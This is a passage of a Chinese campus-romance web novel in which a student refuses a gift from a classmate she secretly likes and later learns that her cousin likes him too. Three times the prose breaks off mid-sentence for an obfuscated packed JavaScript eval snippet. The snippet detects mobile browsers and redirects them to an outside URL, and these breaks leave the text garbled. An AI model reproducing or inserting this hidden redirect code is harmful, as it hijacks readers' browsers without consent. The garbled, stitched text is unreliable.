喻星旋站在讲台上,麻利地数出每一组的卷子,放在每组第一排,让同学们自己向后传。 作业分发下去,喻星旋回到自己的位置。 刚要坐下,桌上一罐沾着水雾的柠檬茶撞入视线。 “……” 她下意识地环顾四周,李安蓝的座位还空着,而其他几排的同学都在忙着传试卷。 最后,她的视线落在了后门边,指尖蜷了蜷。 喻星旋心情复杂地坐下,对于这罐凭空出现的饮料,她原本还想问问周围的同学,看没看到是谁放在她桌上。 但她现在,却忽然不想问了。 晚自习准备铃打响,喻星旋伸出一根手指,把柠檬茶推到桌角,拿起笔开始做刚发的物理试卷。 教室窗户都关着,学生们呼出的水汽在窗玻璃上凝结成一片雾蒙蒙。 水雾凝成水珠,顺着瓶壁流淌,喻星旋到底也没碰一下。 她才勾了两道选择题,李安蓝姗姗来迟,敲了敲她的桌子:“喻星旋,我进去一下哦。” 李安蓝坐下,从课桌里拿出水杯,晃了晃,居然是空的。 但晚自习已经开始了,现在出门接水,很有可能被巡逻的教导主任抓个正着。 然后,她的目光就锁定了喻星旋桌上冰镇的柠檬茶,眼睛一亮:“喻星旋,这个你还喝吗,能不能卖给我?今天晚饭吃太咸了。” 喻星旋半秒钟的犹豫都没有:“不用了,你拿去喝吧。” “啊?这多不好意思啊……” 喻星旋摇摇头,抬手把耳后溢出的碎发塞回去:“没事,刚好我买错了,不爱喝。” 真的假的? 李安蓝疑惑地想。 她记得喻星旋好像挺爱喝的啊。 但有免费的饮料喝,李安蓝就管不了那么多了:“那谢谢啦,下次我也请你喝饮料。” 李安蓝拉开拉环的声音,在安静的教室里很明显。 喻星旋的注意力重新回到物理题中,手心里已经出了不少细密的汗。 她不知道陈嘉授有没有看到这一幕,但她希望他能看到。 喻星旋承认,她的做法带着几分报复的恶意。 如果这罐柠檬茶真的是陈嘉授放到她桌上的,周围的同学肯定已经知道,甚至还有可能在猜测他们的关系。 他会送她饮料,可能是为超市里的事找回面子,也有可能是因为知道了她三叔的事,因而对她表示同情和理解。 但这些理由,她都没法跟别人解释。 所以,她干脆转手把柠檬茶给了李安蓝,向所有人宣告她跟陈嘉授之间并无关系。 接受了就代表示弱。控制自己不在意他很难,但相比起来,跟他送的东西划清界限要容易得多。 教室另一边,陈嘉授搁下笔,望着某个方向,发出一声明显的冷笑。 “不是,阿授?” “是你说你送的她不要,这才让我去送的。”沈林风挠着后脑勺的卷毛,十分不解,“怎么我送的她也不要啊?” “……” 陈嘉授也不明白,他今天怎么这么多头脑一热。 还偏偏就跟一罐柠檬茶杠上。 晚自习前在超市里,他看出了她想拿什么。但他一走过去,她又下意识地摆出了那种防御的姿态。 她不是看到他就不想要了吗? 那好,他非得想办法让她收下。 正常人看到桌上凭空出现的饮料,一定会问周围的其他人是谁放的。 而且他其实不得不承认,喻星旋很给沈林风面子。如果她问出是沈林风,一定不好意思不收。 陈嘉授觉得这套逻辑完美无缺,天衣无缝。 却没想到,她根本不按常理出牌。 沈林风:“不过,你今天怎么忽然想送她柠檬茶?” 陈嘉授努力把胸腔里那股翻腾的燥意压下去,耐着性子说:“能为什么?她借我校园卡那次多还了几块钱。” “啊?什么时候?她借过你的校园卡?” 陈嘉授不想再听他多说一句话,合上眼,薄白的眼皮颤了颤:“闭嘴。” 两节晚自习眨眼就过。 喻星旋今天收拾得尤其快。放学铃刚一打响,她就快步出了门,下楼到六班门口等祝媛。 “这是怎么了?火急火燎的。”祝媛被她拉着向前走,“你屁股后面有鬼在追啊?” 喻星旋:“……快走快走,我回去路上再跟你说。” 因为出门早,一切都很顺利。 两人离开教学楼时,喻星旋还回头看了一眼教学楼大厅门可罗雀的楼梯,暗暗松了口气。 然而,刚回身,她的心脏就立刻蹦到了嗓子眼。 教学楼古色古香的门廊下,有人正倚在立柱的阴影里,暗色的外套,跟阴影融为了一体。 喻星旋吓了一跳,但双腿好像被钉在原地,一步都动弹不得。 陈嘉授浓墨一样的视线锁在她身上,缓缓踱着步,停在她面前。 祝媛作为旁观者,脑海中已经冒出了无数个问号。 她对陈嘉授的这张脸,可一点都不陌生。 她看看喻星旋,又看看眼神的压迫感十足的男生:“呃,你找她……有事?” 陈嘉授当她不存在一样,祝媛只好硬着头皮问喻星旋:“那你们先聊?我去校门口等你。” “没必要。”喻星旋叫住她。卸下一边的书包肩带,拉开拉链,从书包夹层里摸出一个东西。 她打开钱包,慢条斯理地,拿出了三张一元纸币,和一枚五角的硬币,淡淡地递出去:“给你。” 看清她手里的东西,陈嘉授气得额角的青筋都在跳:“喻星旋?” “我知道柠檬茶是你买的。你不是来跟我要钱的吗?” “……”陈嘉授的每个字几乎是从牙缝中向外挤,“你再说一遍?” “你收不收是你的事,我给不给是我的事。” 喻星旋飞快地抬眼,她有些发怵,怕逼急了陈嘉授会对她动手。见他确实没有动手的意思,小声嘀咕了句:“现在我给过了,你不要就算了。” “好——好,你够可以。”陈嘉授唇角抽了抽,他第一次知道,原来人被激怒到一定地步是真的可以发不出火的。 他感到荒唐至极,说不清是他究竟是被气得没了脾气,还是早已经习惯了她的咄咄逼人。 最后,他竟一句话都说不出,冷着脸,大步离开。 祝媛看在眼里,内心的震撼已经无法用言语表达。 “闪闪,你到底怎么他了啊!?” 陈嘉授一走,先前喻星旋一口气终于散了,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819000|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸色苍白,靠祝媛扶着才勉强能够站稳。 “没事。”她捏捏祝媛的手,“路上我再跟你说。” … “所以,你就是担心,因为你三叔的事情,会让他看不起你?” 祝媛认识喻星旋十多年,只听喻星旋叙述事情经过,就立刻把她的心理猜了个八九不离十。 “是的。”除了隐瞒她喜欢陈嘉授这一点,喻星旋对祝媛毫无保留,“所以,我就努力表现出我很有骨气的样子。不要他的东西,硬要给他钱。” “跟他是谁没关系。”她怕祝媛多想,特意强调了句,“就算是别人,我也一样会这样。” 祝媛张了张嘴,实在不忍心打击喻星旋:“……好吧。” 喻星旋有点期待地看着祝媛:“我刚才表现得怎么样?” “……” 你说呢? 靠不靠谱不知道,陈嘉授要被你气晕过去了是真的。 祝媛犹豫了片刻,还是开了口:“闪闪,你好像对他偏见很深。” “我没有。”喻星旋,“我只是……看不惯他的一些做法。” “是吗,我还以为你很讨厌陈嘉授呢。”祝媛忽然灵光一现,严肃道,“而且你觉不觉得,你其实在放任对他的偏见。” 放任? 喻星旋整个人愣怔住。 “闪闪,有个事情我不知道有没有人告诉你。运动会那次,其实你的相机,不是陈嘉授摔坏的。” “……” 喻星旋的胸口像是被一柄气锤砸中,不断地向外漏气。 她的的大脑乱成一面雪花屏,只知道机械地重复:“不是他?” “不是他,是他旁边的那个男生。”祝媛回忆着,“但是,你那天只冲着陈嘉授一个人发脾气,另一个男生跟你解释,你一句都不听。” 不是他,他为什么不解释,还陪她去修镜头。 而且他那天还发着烧。但她沉浸在镜头可能修不好的难过里,察觉到他身体不舒服也没心情问。 喻星旋做事从来都自诩问心无愧,可唯独今天,让她第一次对自己产生了怀疑。 她是不是……做得太过分了? 跟祝媛分开,回奶奶家还有短短几十米的路,喻星旋静静地把这段路走完,似乎有细小的火苗在胸口翻涌。 祝媛批评她放任对陈嘉授的偏见。喻星旋初听其实并不生气。 她对陈嘉授的偏见,早在陈嘉授把她误会成塞纸条的追求者时就开始了。 后来她喜欢过他,也放弃过他,直到重新喜欢上,他的形象再次变得完美无缺。 她开始不能接受他与自己心中的期待有落差,更加在意在他面前的一举一动,也无比介意他对她的看法。 喻星旋回到自己的卧室,从衣柜里翻出那枚被严严实实地裹好的镜头。 刘素平都笑她,自从修好之后,她简直就像把它供起来一样。 她趴在桌上,在台灯下轻轻摩挲它,还有些恍惚。 他那天,主动掏了修镜头的钱,究竟是嫌麻烦,还是替朋友担责? 还是…… 陈嘉授对她,确实有那么一点点特殊? 但,这个念头刚一出现,就被喻星旋赶出脑海。 不是觉得全无可能,而是她潜意识里不愿意相信。 一直以来,她都享受着对陈嘉授单方面的注视。对喻星旋而言,暗恋反而是最放松和自由的状态,大起大落、甘甜酸涩都只属于她一个人。不需要另一个人加入,从而打破原有的平衡。 而且,她曾经跟晓婷姐保证过:就算陈嘉授有一天喜欢她,她也不会跟他在一起的。 她无法忽视沈艺棠的存在,也不能接受,陈嘉授曾经喜欢过别人。 喻星旋头脑慢慢地冷静下来。她拿出手机,翻出跟陈嘉授的聊天框。 她今天,确实对他说了很过分的话。 不是为别的,就算是普通同学,她误会了别人,也应该认真地对他道歉。 可是,喻星旋从来没做过这样的事。对着聊天框,脑海中一片空白。 她从来没有花心思去维护过跟别人的关系。对信任的家人和朋友,她从不跟他们吵架。而那些会吵架的,本身就是她一点都不在意的人。 陈嘉授除外。 喻星旋端坐在手机前,费力地在脑海中组织语言。 忽然,屏幕上方,陈嘉授的备注变了—— 一行跳动的【对方正在输入...】,倒映在喻星旋蓦然睁大的瞳孔中。 29. 瞒着我 . 陈嘉授家房前的庭院里,栽着几棵有些年头的树,树龄比他年龄还大,经常有喜鹊在石榴树的枝条上跳来跳去,叫声啁啾。 院门刷脸自动打开,陈嘉授用力关上铁门,一言不发地把单车推进庭院。 铁条撞击发出巨大的噪音,树梢上的喜鹊骂骂咧咧地离开枝头,飞走了。 家里的二楼有陈少威单人的书房。 他正坐在桌前,一边啜饮着咖啡,一边处理秘书刚刚发来的邮件。 走廊上传来沉重急促的脚步声,陈少威一听就知道陈嘉授心情不佳。 别看他在外面一副八风不动、稳重成熟的模样,但说到底还是少年心性,脚步声都会出卖他的心情。 陈少威心底暗笑:“陈嘉授,你来一下。” 陈嘉授沉着脸,停在他书房门边:“爸你喊我?” 陈少威端起咖啡,慢条斯理地喝了一口:“看着脸色不妙,谁又惹到你了?” “……” “还是说,失恋了啊?” 他只是随口开个玩笑,却没想到陈嘉授反应特别大。 “您还挺懂,难道你经常失恋?”他冷冷地挖苦陈少威,“我妈知道吗?” “你这个扑街仔真是,这么大个人,能不能收收你的少爷脾气,路过的狗都被你踹一脚。” 刚在喻星旋那里吃瘪,回家后他爸又开始找他茬。 陈嘉授突然后悔早上出门前没查过黄历:“——爸你赶紧去睡觉行吗?” “你看,说你你又不耐烦。”陈少威慢饮了口咖啡,“年轻人别那么大火气,过来,陪我聊聊。” 自从离开香港,随陈蔚来到内地二十年,陈少威的气质、习惯已经大变特变,却只保留了一个昔日的习惯——他饮不惯茶,只喝咖啡。 陈嘉授在心底叹了口气。 又来了。 他爸就这副德行,一兴奋,就喜欢拉着人聊他当初是怎么追到陈蔚的光荣事迹。 陈少威:“你妈能不知道?当初让我失恋的人就是她。” 陈嘉授很无语:“您慢点吹,别再把舌头闪着了。” 还是那个老生常谈的故事,陈嘉授听到耳朵都生茧。 谁能想到,如今在长南商界呼风唤雨的陈少威,其实是香港本地食品业大亨陈正晖最小的儿子。 陈蔚和陈少威的初遇,在港大的一次学术会议。 当年他妈在国外留学,作为导师的得意门生到现场做学术汇报。 而他爸,却是个跟着大哥来蹭吃蹭喝的二世祖。 据陈少威的回忆,陈蔚当时身边有个走得很近的师兄,同样是一位华人,两人俱是才貌双全,在别人眼中好不登对。 他误会陈蔚和师兄是一对,又作又闹,吃起了飞醋。而后经人一点拨,忽然像是被打通了任督二脉,又争又抢地赖在陈蔚身边不走,成功把陈蔚的师兄给气走了。 而且,他爸现在提起来居然还挺自豪,觉得那哥们因为觉得竞争不过他,伤心之下在国外定居,从此再也没回国过。 陈嘉授:“爸,你说的师兄,英文名是不是叫EthanLau?” 陈少威一听这个名字,立刻没了笑容:“你怎么知道。” 陈嘉授淡定道:“前几天看到我妈在回复这个人的邮件,她在邮件里称呼他师兄。” “还有呢?” “还有?”陈嘉授忽然觉得他爸瞬间紧张的反应特别好笑,“他好像准备回长南大学任教吧,我妈还说,期待以后能跟他共事……” 陈少威腾地站起来。 陈嘉授忍着笑:“爸,怎么不聊了?” 陈少威公务也不处理了,边向外走边说:“聊什么聊,你作业写完了吗。” 他下了楼梯,应该是去一楼陈蔚的书房一哭二闹三上吊了。 一招祸水东引奏效,陈嘉授的心情居然莫名地好了许多。 他对着他爸的背影摇了摇头,觉得都一把年纪的人了,还整天留意着另一半的一举一动,他也不嫌丢人。 但他关起房间门,脑海中居然又不合时宜地闪过某个清瘦削薄的身影。 陈嘉授唇边的笑意僵了僵。 如果他跟陈少威遇到了相同的事情,他一定会晾对方两天,让对方察觉到他的态度变化,主动来找他解释。 但今天,他一定是被他爸没出息的反应传染了。 最后一次。 绝对没有第二次。 陈嘉授用力地攥紧手机,抬头望着天花板的吊灯,深深地呼出口气。 …… 片刻后。 喻星旋看着屏幕上骤然弹出的信息,维持着呆坐的姿势许久。 渐渐地,一丝红晕悄悄爬上耳尖。 屏幕上,是陈嘉授刚刚发来的信息。 【物理作业是什么?】 - 十一月上旬,长南的几所高中同时举办了期中考试。 这次考试的考场,依旧是根据上次月考的年级排名划分。 喻星旋和施秦在教室外遇上,他们都在第一考场,就结伴一起过去。 “喻星旋,看你好像一点都不紧张,是很有把握吗?” “也不是不紧张。”喻星旋对他微笑了一下,“但我该复习的已经复习完了,至于其他的,就随缘吧。” 施秦艳羡地看了喻星旋一眼。 在他眼中,喻星旋自信坦荡,比他松弛得多。而且,可能是因为怜悯,开学典礼之后,喻星旋对他总是格外有耐心,似乎很照顾他的情绪。 但说实话,施秦并不想要她的这种好意。 施秦点头应和:“是啊,我也应该向你学习。” 可喻星旋抱着一本作文书,注意力并不在他这边。 施秦落寞地笑了笑,觉得再待下去也没什么意思,于是拎起书包想要走远一些,找个僻静的地方复习。 他一直沉浸在小小的失落中,没留意,经过时踩到了旁边一个人的脚。 被他踩到的女生很不高兴地骂了句。施秦立刻紧张地道歉:“对不起,我不是故意的。” “你要死啊!”杨蕊心不爽地骂完,发现居然是施秦,更加气不打一处来,“靠,怎么是你,真晦气!” 杨蕊心和施秦是初中同学,在南大附中时,施秦是她最看不上的那一类拿助学金的穷人。 施秦倔强地咬着嘴唇,一句反击的话都说不出。 但他越是不反抗,反而让杨蕊心她们更加变本加厉。 “施秦你是哑巴吗,踩到人不知道道歉?” “我道过歉了。” “有你这样道歉的?声音太小,一点诚意都没有。” “……” “怎么,你还不服气?你知道这双鞋是什么牌子的吗?告诉你,你一年的助学金都买不起一只!” 喻星旋正认真复习着书上的名言警句和名人事例,忽然听到不远处有人在争执。 她被吵得没心思复习,放下书,皱眉看过去。 施秦低着头,被三个来势汹汹的女生堵住去路。 喻星旋快步走到施秦旁边:“怎么了?” 只一个施秦还不算,怎么又来一个多管闲事的? 看清喻星旋,杨蕊心一愣,很快便想起,上次考试,她也在给自己找不痛快。 不仅如此,陈嘉授言语之间,还有护着她的意思。 而且她上次已经吃过亏。把这女生逼急了,不用陈嘉授,她自己就会动手。 人都是欺软怕硬,杨蕊心也不例外。她虽然没好气,但气焰已经不像刚刚那么嚣张:“我们走,你自己问他!” 施秦:“是,我是不小心踩到你,但我也给你道歉了。” 杨蕊心的朋友却还是咄咄逼人:“道歉就完了吗?道歉有用的话,还要警察干嘛?” 喻星旋冷冷道:“那怎么办,要不你报警?我等着。” “……”女生一时词穷,“蕊心,你看她!” 这女生到底是从哪里冒出来的,哪有一点女生的样子?不仅动手还动口,简直就是个刺头。 但就这么走了,考场外这么多人看着,杨蕊心的面子又挂不住。 她打量着喻星旋,又看了眼施秦:“穷酸的人就是喜欢抱团。” 喻星旋却效仿她的动作,有样学样,将杨蕊心和她的两个朋友轮番打量了一遍:“不是你更喜欢抱团吗?” 围观的不少人都窃笑起来。 杨蕊心被她激得脸都红了:“你——” 眼看一场口角在所难免,众目睽睽中,喻星旋却毫无惧色。 施秦不安地说:“喻星旋,谢谢你,但她们本来就这样,你别因为她们,耽误自己的考试……” “喻星旋。” 冷冽的男声响起时,周围的议论都小了几个分贝。 有人激动地扯了扯同伴:“哇,陈嘉授来了。” 几人同时望过去,陈嘉授从二考场的方向走来。 这场战局完全不关他事,也不知道他来蹚什么浑水。 四周重新响起小声的议论。杨蕊心和朋友你看看我,我看看你,还以为他是来找她们麻烦的,一时有些人人自危。 却没想到,他只对喻星旋说了一句:“你课本还在我那。” “……啊?” “跟我过去拿。” “好。” 喻星旋应了一声,跟在他后面。 看到喻星旋闻言就这么跟陈嘉授走了,不少人八卦的视线顿时变得失望。 他们还以为,能看到陈嘉授来一出英雄救美呢。 …… “我课本其实不在你那儿吧。” 喻星旋用那双冷静通透的眼睛望着他,笃定道。 她确实是个聪明的、不受控制的人,什么都逃不过她的眼睛。但此刻陈嘉授有些恼于她该死的洞察力。 “你说你一个女孩子,非得次次跟人吵架,还非得吵赢?” 陈嘉授顿了顿,下一句话没过脑地说了出来:“……跟我吵也就罢了。” 但他开口的时候,喻星旋刚好在反驳他的上一句:“女孩子怎么了,吵得赢是我的本事。” 两道声音几乎是同时响起。喻星旋没听清他后面的那句,愣了下问:“……你说什么?” “没什么。” 不说算了,反正也不会是什么好话。 喻星旋知道陈嘉授刚才是想帮她解围,但仍旧看不惯他解围完还要说教她一番的傲慢态度。 她们刚才确实过分,不然她也不会气不过替施秦出头。 但是,难道陈嘉授不出现,她自己还收不了场吗? 微妙的反叛心理作祟,喻星旋故意曲解他的意思:“我知道你们认识,所以你才会帮她说话。但是本来就是她先惹我的,我连她叫什么都不知道。所以与其你在这里教训我,还不如去跟她叙叙旧。” “我没有帮她说话。”陈嘉授耐着性子对她解释,“我跟她不熟。不过我家跟她家认识。” 或许是错觉,喻星旋忽然发现他今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819001|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天脾气好得出人意料。 或者说,从那天晚上陈嘉授问她物理作业开始,喻星旋就从他那个举动中,读出了一丝他想要将以前的不愉快一笔勾销的意思。 他主动对她示弱,反而把喻星旋搞得有些不自在了:“……干嘛跟我说这个。” “我的意思是——”陈嘉授简直被她磨得没脾气,“以后她再找你麻烦,你来找我。” - 期中考试结束后,各科的答案很快到手。 喻星旋对完物理答案后,算是真正地放下心来。 月考后她吸取了教训,在物理上投入了许多的时间和精力。绝不因为犯的是低级错误就草草地放过,而是认真地总结所有失分的地方,重新把基础固牢。 她的用心,也很明显地体现在了这次考试中。 物理考了满分,其他科目也没有拖后腿。高一的九科相加,满分1050,她大概能考到980分以上。 就算陈嘉授就算考得再好,也很难超过她了。 而且这次,他又没准备航模比赛。看他还有什么理由给自己的失败找借口。 一想到能堂堂正正地超过陈嘉授,喻星旋飘飘悠悠,一只脚已经陷在了云彩里。 因为实在有些心潮澎湃,喻星旋走出教室,在走廊上转了一大圈,这才暂时平静下来。 回到班里,二班还吵吵嚷嚷的,有些考砸的同学拍桌子哀嚎,抱怨这次题好难。 喻星旋刚要坐下,赵燕妮忽然叫她的名字:“喻星旋。” “嗯?” 喻星旋感到意外,因为赵燕妮在这之前从没有主动跟她说过话。 可能是考得不好,赵燕妮情绪有些沮丧,翻出数学困住她的最后一道大题:“这道题的答案我看不懂,我能……问问你这道题是怎么做的吗?” “好,我的思路是这样……” 赵燕妮不出声地听着,盯着纸上跳动的笔尖,她的声音像冷冷的泉水。 不由得有点出神。 “……我这样讲,你能理解吗?” 赵燕妮回过神来,喻星旋讲得很清楚,她也听懂了大概。腼腆地对她道谢。 喻星旋忽然觉得,赵燕妮对她也不是很排斥。可能只是过于内向,不好意思说话,才让人觉得她不合群。 “其实,最后一道选择也是同样的思路。你会做那道题的话,这道大题就不难理解。” 赵燕妮踌躇了一下,鼓足勇气问:“能都给我讲讲吗?” “可以,你有其他不会的,也可以问我。” 班主任回班之前,喻星旋把赵燕妮不会的数学题都给她讲了一遍。 喻星旋自觉并不算特别热心,何况赵燕妮跟她关系算不上好。 她会这么好心,也是因为愧疚感作祟。 喻星旋一直对运动会的事觉得抱歉。 她知道赵燕妮喜欢陈嘉授,为了他报名接力。却因为她,没在正式比赛那天把接力棒交到陈嘉授手里。 但今天,赵燕妮主动来问她题目了。 虽然,喻星旋不确定赵燕妮知不知道陈嘉授没去参加接力的原因。 但不管怎样,她不怪她就好。 考完试的这天恰好是周五。 平时学校广播站通常要开会,但今天广播站临时通知,例会取消了。 于是,祝媛决定,陪喻星旋去书吧兼职。 她们手挽着手走出学校。忽然,在校门边遇到了一个意想不到的人。 喻迟正跟几个文科班的朋友站在一起,远远地冲她招手,嫣然一笑: “闪闪,你看谁来了?” 半小时后,喻星旋在收银台忙碌了会儿,到卡座里找祝媛和喻迟:“你们想喝点什么吗?我请。” 喻迟一见她就问:“闪闪,听说你这次考得很不错啊?” 祝媛:“岂止是不错,我们班第一也就估了950多分。真不知道她的脑子是怎么长的!” 喻迟笑着说:“看来今天的这一顿得我请了。” “不用不用,还是我来吧。” “怎么不听姐姐话了呢?”喻迟严肃了一秒,又迅速破功,露出笑容,拍了拍喻星旋的后腰,“乖啦,说了我请就是我请。” “……那好吧。”喻星旋拗不过她,只好答应了喻迟请客。 喻迟是那种热情活泼的大姐大性格,而且从小就特别照顾她。 除了奶奶,喻星旋一直把她视作第二重要的家人。 过了会儿,喻迟的朋友给她打电话,约她去打电玩。 “那我就先走了,改天再见?” “好。”喻星旋对她挥挥手,“有空来奶奶家吃饭。” 喻迟一走,祝媛就坐到了喻星旋旁边,意味深长地说:“喻闪闪,你果然有事瞒着我。” “……”她还有什么是瞒着祝媛的? 只有她喜欢陈嘉授这一件事。 喻星旋勉强地笑笑,尽量不让自己先乱了阵脚:“什么事啊?” “喻迟姐都跟我说了,想不到你跟陈嘉授,还有这等渊源。” 听到喻迟的名字,喻星旋像被一道闪电从头到脚地劈中。 被她有意无意忽略的故事开始,像雪片一般呼啸着充斥了她的脑海。 此刻,终于兜了一大圈,重回原点。 回到了,她帮喻迟递出的那张粉红色纸条上。 …… 直到这一刻,她才后知后觉地记起来—— 陈嘉授,好像从一开始,就是堂姐喜欢的人。 30. 输不起 . “她说开学的时候,你曾经帮她给陈嘉授送过一次纸条约他见面。但是他特直接地拒绝了,而且也没有去赴约。” 祝媛没留意喻星旋苍白的脸色,只觉得她对陈嘉授表现出来的敌意一下子就解释得通了。 祝媛打了个响指:“怪不得你那么讨厌他,换我被误会成他的追求者,我估计会比你还讨厌他呢哈哈哈。” 喻星旋觉得指尖都无力,心脏像一颗被压扁的柠檬:“我姐姐还说什么了?” “嗯?她后面就没再提过陈嘉授了,跟我说了很多你的事情。”祝媛犹豫了会儿,还是和盘托出,“喻迟姐说你不太喜欢主动联系别人,让我多主动找你玩。” “……” “但其实她都多余跟我说。我们认识这么多年了,谁还不知道你喻星旋什么德行!” 祝媛的话像一颗颗银针,绵密地扎在喻星旋的心上。 羞愧一度让她有些抬不起头。 喻迟对她那么好,而她居然在她不知情的时候,私自对她喜欢的人动了心。 她从来没有意识到,反而乐在其中。罪恶地,怀着喜欢陈嘉授的心思跟他靠近。 如果今天喻迟没有来找她,她还要在这条路上一错再错多久? 喻星旋不敢再细想。 “谢谢你。”她郑重地对祝媛说,“我以后……不会再这样了。” 祝媛:“喻闪闪,你也太夸张了,我又不介意主动找你玩。” 喻星旋很轻地笑了一下。 她并没有告诉祝媛,她的短短几句话,就再次让她放弃了陈嘉授。 - 教学楼下的银杏叶,终于渐渐落尽了。 在雪片般的试卷、写满又擦掉的黑板、教室窗户上升起又消散的白雾中,渐渐地,到了高一上学期的尾声。 12月24号,平安夜当天。 沈林风从早上开始,每个课间都目睹陈嘉授拒绝礼物的现场。 “谢谢,节日快乐。你的祝福我收下了,但礼物不方便。” 被他拒绝的女生尽管失望,却都没流露出难堪的神色。 沈林风啧啧称奇:“阿授,你从什么时候也学会怜香惜玉了?” 陈嘉授对他则是一点都不客气,淡声让他滚。 物理课前,喻星旋把老王批完的物理试卷发到每个人手里。发到沈林风和陈嘉授这一桌时,她目视前方,自始至终,跟陈嘉授没有任何眼神接触。 “唉。”沈林风拿到自己的卷子,忽然问,“你跟喻星旋到底怎么了啊。” 陈嘉授冷哼:“……她输不起。” 陈嘉授回想她骤冷的态度,就像雪崩一样,毫无预兆。 不过是期中考试被他反超了一分,但也是多校联考的第二名,她到底在气什么? 月考她超他那么多,你看他说什么了吗。 他也是高估了喻星旋的肚量,不过就是到她面前炫耀了一下,她气得直到现在都没理过他。 再到后来的第二次月考。拔得头筹的是施秦,喻星旋第二,他屈居第三,仍旧没让她解气。 怎么会有这么双标的女生。只许她嘲笑别人考不好,到了自己身上就那么输不起。 陈嘉授不是一再忍让的性格,他自觉已经几次三番地容忍过她,他在她身上花的耐心已经够多了。 那之后,喻星旋也是一点主动低头的意思都没有。 于是二人冷战至今。 沈林风虽不了解他们之间发生了什么,但也觉得喻星旋应该不是这样的人。他试图把话题扯开:“对了,刘沐要给他女朋友挑个圣诞礼物,喊我们去帮他参谋参谋,晚上你去不去?” 陈嘉授皱眉:“他们什么时候复合了。” “没复合啊,不过也快了吧。今天礼物一送,不就八九不离十了。” 晚自习前,陈嘉授勉为其难地跟他们去了一家校外的精品店。 他没有想买的,双手抄兜,目不斜视,跟在几人的最后。 周围货架上摆着各种精致的小玩意儿,一看就是女生会喜欢的东西。 忽然,他视线落在前方的某处,脚步停顿。 喻星旋站在其中一排货架前。 “阿授你人呢?”朋友催他。 “我出去透透气。” 陈嘉授转身朝外走。 “哎,阿授你等等。”刘沐叫住他,“现在排队人多,正好你去帮我们占个位呗?” 精品店门口排队结账的人已经排成一条长龙。 陈嘉授站到队伍末尾,前面是一个身材高挑的女生。 他也没在意。在她前面排队的只剩两个人时,她终于朝货架的方向催促了一声:“喻星旋,你挑好了没有!” “来了。” 喻星旋选择困难症犯了,最后一狠心,把月亮和兔子的小夜灯都拿在手里。决定一个送给祝媛,另一个就送给喻迟。 隔着一段距离,她几乎是用余光,就认出了喻迟身后排队的男生,心下咯噔一声。 但她装作没看见他,对喻迟说:“我去后面排队吧。” 喻迟:“你拿给我,我来一起结不就好了吗?” “虽然不算插队,但是也不合适。” 喻星旋冷淡的视线如冰棱,缓缓划过陈嘉授的皮肤,故意说给他听,“一件事情,可能只有我们两个人知道,但人至少得有分辨是非的能力。分清楚什么是对的,什么是错的。” … 喻星旋至今都无法忘记。 就在期中考试后的那个周末,堂哥喻耀宗忽然找到她。 他趾高气扬地炫耀:“喻星旋你以为自己几斤几两。你再怎么给我爸捣乱,他还不是没被公司开除。” “你说什么?” “我说,我爸不仅没被开除,还升职去惠城的分公司当小领导了!” 喻星旋脑海中嗡嗡作响。她怎么都不愿意相信,陈嘉授的爸爸居然人前人后两幅面孔。 前脚才对她表示出对三叔的不齿,可不仅没开除他,反而可能是出于对公司形象的考量,后脚就给他调动了工作。 喻星旋伤心了很久,说不上是对陈嘉授的爸爸,还是对陈嘉授。 因为是他爸爸,她才告诉他自己家里的事。 可是,他爸爸和颜悦色地听完她的倾诉,转身就捅了她一刀。 从那以后,喻星旋单方面切断了跟陈嘉授的所有交集。 也不仅仅是因为堂姐。 她对他已经丧失了信任。陈嘉授的存在只会不断提醒她,她曾经轻信大人,被愚弄,被耍得团团转。 骄傲如她,宁愿从此跟陈嘉授成为陌路人,也不想让他知道真相,获得他的歉疚和可怜。 喻星旋轻轻吸了口气:“姐姐,你下次也要擦亮眼睛看人。不然被人卖了,还替人家数钱。” 在喻迟疑惑的眼光中,喻星旋径直走向队伍的最后一排。 她到底在阴阳怪气什么? 陈嘉授眉目紧锁。正在这时刘沐挑好了礼物,准备来接替陈嘉授的位置。 陈嘉授瞥了他一眼:“后面儿排队去。” 几人对视一眼,惊讶地打趣:“不是吧阿授,谁又惹你了?” 众目睽睽,陈嘉授无法发作,牵起唇角,涵养很好地笑了笑:“守不守规矩?快去。” “……那好吧。” 一群人都听他的,退到队伍后面。 喻迟等喻星旋结完账,两人一起离开。 刘沐拿着包装好的礼物来找陈嘉授,语气像发现了新大陆:“阿授,刚才排我前面的那个女生,不就是运动会——” 触上陈嘉授警告般的眼神,话音自动止住。 陈嘉授盯着他看了几秒,危险地眯了下眼。 刘沐打了个寒战。 店外的街边天寒地冻,陈嘉授呼出一口白色的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819002|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,听不出什么情绪地:“管好你自己。” …… 